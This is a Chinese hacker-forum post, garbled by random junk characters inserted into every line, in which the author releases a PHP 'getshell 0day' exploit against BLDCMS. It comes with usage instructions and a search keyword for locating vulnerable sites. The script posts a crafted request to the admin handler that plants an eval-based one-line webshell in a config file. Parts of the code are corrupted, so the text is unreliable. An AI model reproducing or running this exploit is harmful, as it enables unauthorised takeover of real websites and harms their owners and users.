之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
$ z6 [5 g2 H: ~& I& b2 G7 H; d/ Z0 ~: U5 r
' B6 n. |3 ~& P话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 * u4 p) @8 u5 U; ?1 l
; F: f( P- g. G6 k) x既然都有人发了 我就把我之前写好的EXP放出来吧* I0 ^% I9 h0 a
O% B; e3 _: n2 L9 y
view source print?01.php;">2 G: d( W/ f! d; Q
02.<!--?php
/ U9 r5 c$ l3 F; B0 d( |03.echo "-------------------------------------------------------------------8 a9 N" o( j9 L$ K5 z! c
04.
/ k* f# c. r) R* S: A2 @! K05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP8 w: f2 f& X- q$ ?2 y! ]# w/ K
06.
4 {1 e3 [: f( {9 u: G4 A: N07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun$ q# a4 _: H2 P- H2 t) B
08.
. l/ Q6 A) X# v& X, m6 O09.QQ:981009941\r\n 2013.3.21\r\n
4 q' K+ E+ l: q6 A; x6 c10. 0 f9 M% [4 V$ ^: `
11.
9 g. v" X8 C* k4 `5 J$ W9 {12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码& C* r- ]! r m" E: t& ^! y, x
13. ( T0 B+ `2 E$ c4 O0 U4 | O
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
7 p9 p! R! p% r. ^+ c15. 9 A q7 j7 v% f. p: y" z
16.--------------------------------------------------------------------\r\n";
/ H& o# v8 q9 p7 c17.$url=$argv[1];& X. J2 s7 o5 l6 x& \+ q1 l* d" H
18.$dir=$argv[2];5 G9 ^! l! k$ J6 @! r
19.$pass=$argv[3];
" k1 x! L/ a& K7 F; S% D20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
% E, g% n) E) J, _; W' j8 A21.if (emptyempty($pass)||emptyempty($url))- l- V, U: N8 X* {1 _
22.{exit("请输入参数");}
$ s) n: z& _" q* p23.else
) |5 o- h7 |' Y. i7 u24.{5 x4 {. q7 X+ P/ s! {! \8 b6 I
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
: W' A% ]( B5 {26. . y# E6 ^) l& x( n4 y; q
27.al;( }& `0 z& g& d; R) w
28.$length = strlen($fuckdata);! m4 {& } f/ u: R* j! v( h
29.function getshell($url,$pass)( T5 I# F* H' v8 ^. y7 L; b# _0 Q
30.{
% B+ X' ^3 F3 c3 J31.global $url,$dir,$pass,$eval,$length,$fuckdata;/ A( z2 r( M6 b! D ^ A/ r
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
: q: I% M( q5 M9 d5 ` e33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";' v; {- Y& [. N4 l& y* {
34.$header .= "User-Agent: MSIE\r\n";
/ r3 j5 a6 i/ V6 k0 K35.$header .= "Host:".$url."\r\n";
: g& G U4 y/ ?0 K36.$header .= "Content-Length: ".$length."\r\n";9 z( K, l( H( R! ^5 J6 n
37.$header .= "Connection: Close\r\n";6 w6 e8 X, d' ]% |* e; {, ]
38.$header .="\r\n";# h7 V j. o4 ^" }
39.$header .= $fuckdata."\r\n\r\n";) h. b/ v$ F& P- N, @: d4 [
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
2 \5 z2 d9 q3 S. `$ A4 V3 z! p3 S41.if (!$fp) ~# Q# V) v( K4 x; b u
42.{
+ O2 `1 h) B0 D, `6 P43.exit ("利用失败:请检查指定目标是否能正常打开");
/ O# C |; h! z, H8 j44.}0 v h& H9 k% ?1 a; ]9 A
45.else{ if (!fputs($fp,$header))+ b* p3 R! T7 Z7 r2 l% B! l
46.{exit ("利用失败");}
9 i$ _ X/ Y3 a. o6 G47.else
m' L/ m% r8 v9 l7 F" r$ C48.{
9 L( g& @* ?' z6 f$ }/ u; @ \49.$receive = '';- l$ c8 _8 K! }, k% l, d
50.while (!feof($fp)) {% ]# e$ d5 a( D" |. S5 n' P
51.$receive .= @fgets($fp, 1000);" @' D$ J h) X* e' R: O: u9 x* w
52.}; C8 I9 H8 ~" X6 }/ N7 |' g6 ?
53.@fclose($fp);3 J% A+ B" E# g
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标/ u' H5 F8 _; H) I
55.
6 X; w F! R/ G7 t+ D4 z56.GPC是否=off)";5 F e5 Q& w& Q' F. `: t
57.}}
+ n9 C4 Q! E$ M( Y* _ n58.}
" M$ G4 R( c" T59.}
" w+ D' N5 D: Q& Q+ O/ r) w& k60.getshell($url,$pass);
8 ?- |% I. s! Y% Y2 N61.?-->
0 b4 b3 N' E/ u9 c5 Q' |; h
" E6 g- K, n7 Q m. Q) A) K4 m* V! x2 s2 T/ w& I6 i
3 ?- b& G# s$ g8 ?# K5 W4 p, V
by 数据流: c' U' X2 ]# y5 }
|